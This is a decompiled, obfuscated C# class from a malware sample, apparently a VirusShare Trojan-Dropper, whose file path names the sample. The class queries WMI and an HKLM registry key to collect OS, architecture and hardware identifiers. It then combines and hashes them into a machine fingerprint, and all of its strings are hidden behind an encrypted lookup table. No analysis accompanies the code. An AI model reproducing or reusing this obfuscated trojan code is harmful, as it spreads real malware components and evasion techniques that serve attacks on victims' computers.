// Decompiled with JetBrains decompiler // Type: . // Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe using \u0001; using \u000F; using Microsoft.Win32; using System; using System.Management; namespace \u000F { internal sealed class \u0006 { [NonSerialized] internal static \u0002 \u0001; public string \u000F() => this.\u0011() + (object) Convert.ToChar(32) + this.\u0012(); public string \u0010() { string str = (this.\u0013() + this.\u0015() + this.\u0014()).ToString(); return \u000F.\u0001.\u0001.\u0010(str); } private string \u0011() { ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8468)); string empty = string.Empty; foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) empty = Convert.ToString(managementBaseObject[\u0006.\u0001(6866)]); try { string str = empty.Split('|')[0]; int length = str.Split(' ')[0].Length; return str.Substring(length).TrimStart().TrimEnd(); } catch { return \u0006.\u0001(8517); } } private string \u0012() => Registry.LocalMachine.OpenSubKey(\u0006.\u0001(8538)).GetValue(\u0006.\u0001(8603)).ToString().Contains(\u0006.\u0001(8620)) ? \u0006.\u0001(8625) : \u0006.\u0001(8638); private string \u0013() { ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8651)); string empty = string.Empty; foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8724)]); return empty; } private string \u0014() { ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8741)); string empty = string.Empty; foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8782)]); return empty; } public string \u0015() { ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8799)); string empty = string.Empty; foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8848)]); return empty; } static \u0006() => \u0003.\u000F(); } }